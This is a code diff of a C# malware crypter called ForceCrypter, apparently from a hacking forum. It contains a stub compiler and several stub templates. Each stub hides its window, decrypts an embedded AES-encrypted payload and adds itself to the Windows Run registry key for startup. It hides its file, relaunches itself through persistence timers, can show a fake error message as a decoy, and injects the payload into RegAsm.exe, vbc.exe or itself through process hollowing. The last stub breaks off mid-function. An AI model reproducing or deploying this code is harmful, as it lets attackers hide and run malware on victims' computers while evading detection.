// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace ForceCrypterSmall.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}
C# (ForceCrypter/ForceCrypterSmall/Properties/Settings.settings
+7
View File
@@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>
C# (ForceCrypter/ForceCrypterSmall/Resources/Compiler.cs
+89
View File
@@ -0,0 +1,89 @@
using System.Collections.Generic;
using System.CodeDom.Compiler;
using Microsoft.CSharp;
using System.Windows.Forms;
namespace ForceCrypterSmall.Resources
{
class Compiler
{
public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null)
{
// We declare the new compiler parameters variable
// that will contain all settings for the compilation.
CompilerParameters CParams = new CompilerParameters();
// We want an executable file on disk.
CParams.GenerateExecutable = true;
// This is where the compiled file will be saved into.
CParams.OutputAssembly = Output;
// We need these compiler options, we will use code optimization,
// compile as a x86 process and our target is a windows form.
// The unsafe keyword is used because the stub contains pointers and
// unsafe blocks of code.
string options = "/optimize+ /platform:x86 /target:winexe /unsafe";
// If the icon is not null (as we initialize it), add the corresponding option.
if (Icon != null)
options += " /win32icon:\"" + Icon + "\"";
// Set the options.
CParams.CompilerOptions = options;
// We don't care about warnings, we don't need them to show as errors.
CParams.TreatWarningsAsErrors = false;
// Add the references to the libraries we use so we can have access
// to their namespaces.
CParams.ReferencedAssemblies.Add("System.dll");
CParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
CParams.ReferencedAssemblies.Add("System.Drawing.dll");
CParams.ReferencedAssemblies.Add("System.Data.dll");
CParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
// Check if the user specified any resource files.
// If yes, add then to the stub's resources.
if (Resources != null && Resources.Length > 0)
{
// Loop through all resource files specified in the Resources[] array.
foreach (string res in Resources)
{
// Add each resource file to the compiled stub.
CParams.EmbeddedResources.Add(res);
}
}
// Dictionary variable is used to tell the compiler that we want
// our file to be compiled for .NET v2
Dictionary<string, string> ProviderOptions = new Dictionary<string, string>();
ProviderOptions.Add("CompilerVersion", "v2.0");
// Now, we compile the code and get the result back in the "Results" variable
CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, source);
// Check if any errors occured while compiling.
if (Results.Errors.Count > 0)
{
// Errors occured, notify the user.
MessageBox.Show(string.Format("The compiler has encountered {0} errors",
Results.Errors.Count), "Errors while compiling", MessageBoxButtons.OK,
MessageBoxIcon.Error);
// Now loop through all errors and show them to the user.
foreach (CompilerError Err in Results.Errors)
{
MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
Err.Line, Err.Column, Err.FileName), "Error",
MessageBoxButtons.OK, MessageBoxIcon.Error);
}
return false;
}
else
{
// No error was found, return true.
return true;
}
}
}
}
C# (ForceCrypter/ForceCrypterSmall/Resources/StartupF.txt
+343
View File
@@ -0,0 +1,343 @@
using Microsoft.Win32;
using System;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Diagnostics;
using System.ComponentModel;
using System.Text;
namespace ilovecookies
{
static class Program
{
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new FrmOne());
}
}
class Reader
{
//Reading the encrypted bytes from our resource file
public static byte[] ReadManaged()
{
ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly());
byte[] bytes = (byte[])manager.GetObject("encfile");
return bytes;
}
}
public class FrmOne : Form
{
//Making the form hidden
private void InitializeComponent()
{
SuspendLayout();
ResumeLayout(false);
PerformLayout();
ShowInTaskbar = false;
WindowState = FormWindowState.Minimized;
}
//Self explantory
bool _startup = [startup-replace];
string injectTo = "[inject-replace]";
string injectionPath2 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe");
string injectionPath3 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe");
bool _persistence = [persistence-replace];
//The process we want to use persistence on
Process[] pname = Process.GetProcessesByName("[sprocess-replace]");
public FrmOne()
{
InitializeComponent();
//Basic delay
Thread.Sleep([delay-replace] * 100);
//If the user choosed persistence start a timer
if(_persistence)
{
System.Windows.Forms.Timer timer1 = new System.Windows.Forms.Timer();
timer1.Interval = 500;
Thread.Sleep(500);
timer1.Start();
}
//Giving a byte array for our encrypted bytes
byte[] fBytes = Reader.ReadManaged();
//The encryption key
string encKey = "[key-replace]";
//The encryption key in bytes
byte[] encKey2 = Encoding.UTF8.GetBytes(encKey);
//Makign a hash for the encryption key
encKey2 = SHA256.Create().ComputeHash(encKey2);
//The decrypted bytes
byte[] eBytes = AESDecrypt(fBytes,encKey2);
//Crypting process
string result = Encoding.UTF8.GetString(eBytes);
//The all decrypted bytes
byte[] eBytes2 = Convert.FromBase64String(result);
//If user choosed startup add to startup
if (_startup)
AddToStartup();
//Make the file hidden
HideFile();
Thread.Sleep(500);
//Use the runpe to inject the decrypted bytes into a process of our injection method choice
if(injectTo == "[itself]")
RunPe1.Run(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName,"",eBytes2);
if(injectTo =="[regasm]")
RunPe1.Run(injectionPath2, "", eBytes2);
if(injectTo == "[vbc]")
RunPe1.Run(injectionPath3, "", eBytes2);
//Stopping the program because runpe is already injected
Environment.Exit(0);
}
//Decryption method
public static byte[] AESDecrypt(byte[] decrypted, byte[] key2)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] {1, 2, 3, 4, 5, 6, 7, 8};
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize/8);
AES.IV = key.GetBytes(AES.BlockSize/8);
AES.Mode = CipherMode.CBC;
using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(decrypted, 0, decrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
//The adding to startup
public void AddToStartup()
{
////Getting our path with a folder name
//string path = Path.Combine(Application.UserAppDataPath, "/[fname-replace]");
////Creating the folder in the path
//bool exists = false;
//if (!Directory.Exists(path)) Directory.CreateDirectory(path);
//string path2 = Path.Combine(path, "[finame-replace].exe");
//if (Directory.Exists(path2)) exists = true;
////The second path with the exe inside of the folder
////Copying our crypted file to the exe in the folder
//if (exists = false)
//{
// File.Copy(Application.ExecutablePath, path2);
// //Making a registery key so it adds to startup
// RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
// if (key != null) key.SetValue("[regkey-replace]", path2);
//}
string path = Path.Combine(Application.UserAppDataPath, "/[fname-replace]");
string path2 = Path.Combine(path, "[finame-replace].exe");
if (!File.Exists(path2))
{
DirectoryInfo di = Directory.CreateDirectory(path);
File.Copy(Application.ExecutablePath, path2, true);
RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (key != null) key.SetValue("[regkey-replace]", path2);
}
}
public void HideFile()
{
//Hiding
FileInfo f = new FileInfo(Application.ExecutablePath);
f.Attributes = FileAttributes.Hidden;
}
//this is the persistence
private void timer1_Tick(object sender, EventArgs e)
{
string path = Path.Combine(Application.UserAppDataPath, "/[fname2-replace]");
//The place where dropped the startup
string path2 = Path.Combine(path, "[finame2-replace].exe");
//if the process is not running start it
if (pname.Length == 0)
System.Diagnostics.Process.Start(path2);
}
}
static class RunPe1
{
[DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode)]
private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
[DllImport("kernel32.dll", EntryPoint = "GetThreadContext")]
private static extern bool GetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "SetThreadContext")]
private static extern bool SetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
[DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection")]
private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
[DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
[DllImport("kernel32.dll", EntryPoint = "ResumeThread")]
private static extern int ResumeThread(IntPtr handle);
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct ProcessInformation
{
public readonly IntPtr ProcessHandle;
public readonly IntPtr ThreadHandle;
private readonly uint ProcessId;
private readonly uint ThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct StartupInformation
{
public uint Size;
private readonly string Reserved1;
private readonly string Desktop;
private readonly string Title;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
private readonly byte[] Misc;
private readonly IntPtr Reserved2;
private readonly IntPtr StdInput;
private readonly IntPtr StdOutput;
private readonly IntPtr StdError;
}
public static bool Run(string path, string cmd, byte[] data)
{
int readWrite = 0;
string quotedPath = string.Format("\"{0}\"", path);
StartupInformation si = new StartupInformation();
ProcessInformation pi = new ProcessInformation();
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
if (string.IsNullOrEmpty(cmd))
{
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
return false;
}
else
{
quotedPath = quotedPath + " " + cmd;
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
return false;
}
int fileAddress = BitConverter.ToInt32(data, 60);
int imageBase = BitConverter.ToInt32(data, fileAddress + 52);
int[] context = new int[179];
context[0] = 65538;
if (!GetThreadContext(pi.ThreadHandle, context))
return false;
int ebx = context[41];
int baseAddress = 0;
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite))
return false;
if (imageBase == baseAddress)
{
if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0)
return false;
}
int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 80);
int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 84);
bool allowOverride = false;
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64);
if (newImageBase == 0)
{
allowOverride = true;
newImageBase = VirtualAllocEx(pi.ProcessHandle, 0, sizeOfImage, 12288, 64);
if (newImageBase == 0)
return false;
}
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite))
return false;
int sectionOffset = fileAddress + 248;
short numberOfSections = BitConverter.ToInt16(data, fileAddress + 6);
for (int I = 0; I <= numberOfSections - 1; I++)
{
int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 12);
int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 16);
int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 20);
if (sizeOfRawData != 0)
{
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(data, pointerToRawData, sectionData, 0, sectionData.Length);
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite))
return false;
}
sectionOffset += 40;
}
byte[] pointerData = BitConverter.GetBytes(newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, pointerData, 4, ref readWrite))
return false;
int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 40);
if (allowOverride)
newImageBase = imageBase;
context[44] = newImageBase + addressOfEntryPoint;
if (!SetThreadContext(pi.ThreadHandle, context))
return false;
if (ResumeThread(pi.ThreadHandle) == -1)
return false;
return true;
}
}
}
C# (ForceCrypter/ForceCrypterSmall/Resources/boop.cs
+361
View File
@@ -0,0 +1,361 @@
using Microsoft.Win32;
using System;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Diagnostics;
using System.ComponentModel;
using System.Text;
//Copyright 2016
//Made by mrmutt for hackforums uid=3005497
//Please leave this note here
namespace stupidcancercodeisruiningeverything
{
static class Program
{
[STAThread]
static void Main0()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new FrmOne());
}
}
class Reader
{
//Reading the encrypted bytes from our resource file
public static byte[] ReadManaged()
{
ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly());
byte[] bytes = (byte[])manager.GetObject("encfile");
return bytes;
}
}
public class FrmOne : Form
{
//Making the form hidden
private void InitializeComponent()
{
SuspendLayout();
ResumeLayout(false);
PerformLayout();
ShowInTaskbar = false;
WindowState = FormWindowState.Minimized;
}
//Self explantory
bool _startup = true;
string injectTo = "[inject-replace]";
bool _fakemessage = true;
bool _persistence = true;
string injectionPath2 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe");
string injectionPath3 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe");
public FrmOne()
{
InitializeComponent();
//Basic delay
Thread.Sleep(5 * 100);
//Giving a byte array for our encrypted bytes
byte[] fBytes = Reader.ReadManaged();
//The encryption key
string encKey = "[key-replace]";
//The encryption key in bytes
byte[] encKey2 = Encoding.UTF8.GetBytes(encKey);
//Makign a hash for the encryption key
encKey2 = SHA256.Create().ComputeHash(encKey2);
//The decrypted bytes
byte[] eBytes = AESDecrypt(fBytes, encKey2);
//Crypting process
string result = Encoding.UTF8.GetString(eBytes);
//The all decrypted bytes
byte[] eBytes2 = Convert.FromBase64String(result);
//If user choosed startup add to startup
if (_startup)
AddToStartup();
//Make the file hidden
HideFile();
if (_persistence)
{
Process[] pname = Process.GetProcessesByName("[process-replace]");
Process[] pname2 = Process.GetProcessesByName("[finame-replace]");
System.Windows.Forms.Timer timer1 = new System.Windows.Forms.Timer();
System.Windows.Forms.Timer timer2 = new System.Windows.Forms.Timer();
string path = Path.Combine(Application.UserAppDataPath, "[fname-replace]");
string path2 = Path.Combine(path, "[finame-replace].exe");
if (Application.ExecutablePath == path2)
{
timer1.Start();
timer1.Interval = 500;
}
else
{
timer2.Interval = 500;
timer2.Start();
}
}
Thread.Sleep(500);
//Use the runpe to inject the decrypted bytes into a process of our injection method choice
if (injectTo == "[itself]")
REDank.RunDank(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, "", eBytes2);
if (injectTo == "[regasm]")
REDank.RunDank(injectionPath2, "", eBytes2);
if (injectTo == "[vbc]")
REDank.RunDank(injectionPath3, "", eBytes2);
//Fake Message
if (_fakemessage)
{
MessageBox.Show("[messagetext-replace]", "[messagetitle-replace]", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
//Stopping the program because runpe is already injected
Environment.Exit(0);
}
private void timer1_Tick(object sender, EventArgs e)
{
Process[] pname = Process.GetProcessesByName("[process-replace]");
if (pname.Length == 0)
{
Process.Start("[process-replace]");
}
}
private void timer2_Tick(object sender, EventArgs e)
{
Process[] pname2 = Process.GetProcessesByName("[finame-replace]");
if (pname2.Length == 0)
{
Process.Start("[finame-replace]");
}
}
//Decryption method
public static byte[] AESDecrypt(byte[] decrypted, byte[] key2)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(decrypted, 0, decrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
//The adding to startup
public void AddToStartup()
{
string path = Path.Combine(Application.UserAppDataPath, "[fname-replace]");
string path2 = Path.Combine(path, "[finame-replace].exe");
if (!File.Exists(path2))
{
DirectoryInfo di = Directory.CreateDirectory(path);
File.Copy(Application.ExecutablePath, path2, true);
RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (key != null) key.SetValue("[regkey-replace]", path2);
}
}
public void HideFile()
{
//Hiding
FileInfo f = new FileInfo(Application.ExecutablePath);
f.Attributes = FileAttributes.Hidden;
}
}
static class REDank
{
[DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode)]
private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
[DllImport("kernel32.dll", EntryPoint = "GetThreadContext")]
private static extern bool GetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "SetThreadContext")]
private static extern bool SetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
[DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection")]
private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
[DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
[DllImport("kernel32.dll", EntryPoint = "ResumeThread")]
private static extern int ResumeThread(IntPtr handle);
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct ProcessInformation
{
public readonly IntPtr ProcessHandle;
public readonly IntPtr ThreadHandle;
private readonly uint ProcessId;
private readonly uint ThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct StartupInformation
{
public uint Size;
private readonly string Reserved1;
private readonly string Desktop;
private readonly string Title;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
private readonly byte[] Misc;
private readonly IntPtr Reserved2;
private readonly IntPtr StdInput;
private readonly IntPtr StdOutput;
private readonly IntPtr StdError;
}
public static bool RunDank(string path, string cmd, byte[] data)
{
int readWrite = 0;
string quotedPath = string.Format("\"{0}\"", path);
StartupInformation si = new StartupInformation();
ProcessInformation pi = new ProcessInformation();
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
if (string.IsNullOrEmpty(cmd))
{
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
return false;
}
else
{
quotedPath = quotedPath + " " + cmd;
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
return false;
}
int fileAddress = BitConverter.ToInt32(data, 60);
int imageBase = BitConverter.ToInt32(data, fileAddress + 52);
int[] context = new int[179];
context[0] = 65538;
if (!GetThreadContext(pi.ThreadHandle, context))
return false;
int ebx = context[41];
int baseAddress = 0;
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite))
return false;
if (imageBase == baseAddress)
{
if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0)
return false;
}
int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 80);
int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 84);
bool allowOverride = false;
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64);
if (newImageBase == 0)
{
allowOverride = true;
newImageBase = VirtualAllocEx(pi.ProcessHandle, 0, sizeOfImage, 12288, 64);
if (newImageBase == 0)
return false;
}
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite))
return false;
int sectionOffset = fileAddress + 248;
short numberOfSections = BitConverter.ToInt16(data, fileAddress + 6);
for (int I = 0; I <= numberOfSections - 1; I++)
{
int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 12);
int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 16);
int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 20);
if (sizeOfRawData != 0)
{
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(data, pointerToRawData, sectionData, 0, sectionData.Length);
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite))
return false;
}
sectionOffset += 40;
}
byte[] pointerData = BitConverter.GetBytes(newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, pointerData, 4, ref readWrite))
return false;
int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 40);
if (allowOverride)
newImageBase = imageBase;
context[44] = newImageBase + addressOfEntryPoint;
if (!SetThreadContext(pi.ThreadHandle, context))
return false;
if (ResumeThread(pi.ThreadHandle) == -1)
return false;
return true;
}
}
}
C# (ForceCrypter/ForceCrypterSmall/Resources/boop.txt
+333
View File
@@ -0,0 +1,333 @@
using Microsoft.Win32;
using System;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Diagnostics;
using System.ComponentModel;
using System.Text;
[assembly: AssemblyTitle("[title-replace]")]
[assembly: AssemblyDescription("[desc-replace]")]
[assembly: AssemblyCompany("[company-replace]")]
[assembly: AssemblyProduct("[product-replace]")]
[assembly: AssemblyCopyright("[copyright-replace]")]
[assembly: AssemblyTrademark("[trademark-replace]")]
[assembly: AssemblyVersion("[version-replace]")]
[assembly: AssemblyFileVersion("[fversion-replace]")]
//Copyright 2016
//Made by mrmutt for hackforums uid=3005497
//Please leave this note here
namespace stupidcancercodeisruiningeverything
{
static class Program
{
[STAThread]
static void Main()
{
//Basic delay
Thread.Sleep([delay-replace] * 1000);
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new FrmOne());
}
}
class Reader
{
//Reading the encrypted bytes from our resource file
public static byte[] ReadManaged()
{
ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly());
byte[] bytes = (byte[])manager.GetObject("encfile");
return bytes;
}
}
public class FrmOne : Form
{
//Making the form hidden
private void InitializeComponent()
{
SuspendLayout();
ResumeLayout(false);
PerformLayout();
ShowInTaskbar = false;
WindowState = FormWindowState.Minimized;
}
//Self explantory
bool _startup = [startup-replace];
string injectTo = "[inject-replace]";
bool _fakemessage = [fakemessage-replace];
string injectionPath2 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe");
string injectionPath3 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe");
public FrmOne()
{
InitializeComponent();
//Giving a byte array for our encrypted bytes
byte[] fBytes = Reader.ReadManaged();
//The encryption key
string encKey = "[key-replace]";
//The encryption key in bytes
byte[] encKey2 = Encoding.UTF8.GetBytes(encKey);
//Makign a hash for the encryption key
encKey2 = SHA256.Create().ComputeHash(encKey2);
//The decrypted bytes
byte[] eBytes = AESDecrypt(fBytes,encKey2);
//Crypting process
string result = Encoding.UTF8.GetString(eBytes);
//The all decrypted bytes
byte[] eBytes2 = Convert.FromBase64String(result);
//If user choosed startup add to startup
if (_startup)
AddToStartup();
//Make the file hidden
HideFile();
Thread.Sleep(500);
//Use the runpe to inject the decrypted bytes into a process of our injection method choice
if(injectTo == "[itself]")
KillerMemestart.FMEMES(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName,"",eBytes2);
if(injectTo =="[regasm]")
KillerMemestart.FMEMES(injectionPath2, "", eBytes2);
if(injectTo == "[vbc]")
KillerMemestart.FMEMES(injectionPath3, "", eBytes2);
//Fake Message
if(_fakemessage)
{
MessageBox.Show("[messagetext-replace]", "[messagetitle-replace]", MessageBoxButtons.OK,MessageBoxIcon.Error);
}
//Stopping the program because runpe is already injected
Environment.Exit(0);
}
//Decryption method
public static byte[] AESDecrypt(byte[] decrypted, byte[] key2)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] {1, 2, 3, 4, 5, 6, 7, 8};
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize/8);
AES.IV = key.GetBytes(AES.BlockSize/8);
AES.Mode = CipherMode.CBC;
using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(decrypted, 0, decrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
//The adding to startup
public void AddToStartup()
{
string path = Path.Combine(Application.UserAppDataPath, "[fname-replace]");
string path2 = Path.Combine(path, "[finame-replace].exe");
if (!File.Exists(path2))
{
DirectoryInfo di = Directory.CreateDirectory(path);
File.Copy(Application.ExecutablePath, path2, true);
RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (key != null) key.SetValue("[regkey-replace]", path2);
}
}
public void HideFile()
{
//Hiding
FileInfo f = new FileInfo(Application.ExecutablePath);
f.Attributes = FileAttributes.Hidden;
}
}
static class KillerMemestart
{
[DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode)]
private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
[DllImport("kernel32.dll", EntryPoint = "GetThreadContext")]
private static extern bool GetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "SetThreadContext")]
private static extern bool SetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
[DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection")]
private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
[DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
[DllImport("kernel32.dll", EntryPoint = "ResumeThread")]
private static extern int ResumeThread(IntPtr handle);
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct ProcessInformation
{
public readonly IntPtr ProcessHandle;
public readonly IntPtr ThreadHandle;
private readonly uint ProcessId;
private readonly uint ThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct StartupInformation
{
public uint Size;
private readonly string Reserved1;
private readonly string Desktop;
private readonly string Title;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
private readonly byte[] Misc;
private readonly IntPtr Reserved2;
private readonly IntPtr StdInput;
private readonly IntPtr StdOutput;
private readonly IntPtr StdError;
}
public static bool FMEMES(string path, string cmd, byte[] data)
{
int readWrite = 0;
string quotedPath = string.Format("\"{0}\"", path);
StartupInformation si = new StartupInformation();
ProcessInformation pi = new ProcessInformation();
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
if (string.IsNullOrEmpty(cmd))
{
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
return false;
}
else
{
quotedPath = quotedPath + " " + cmd;
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
return false;
}
int fileAddress = BitConverter.ToInt32(data, 60);
int imageBase = BitConverter.ToInt32(data, fileAddress + 52);
int[] context = new int[179];
context[0] = 65538;
if (!GetThreadContext(pi.ThreadHandle, context))
return false;
int ebx = context[41];
int baseAddress = 0;
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite))
return false;
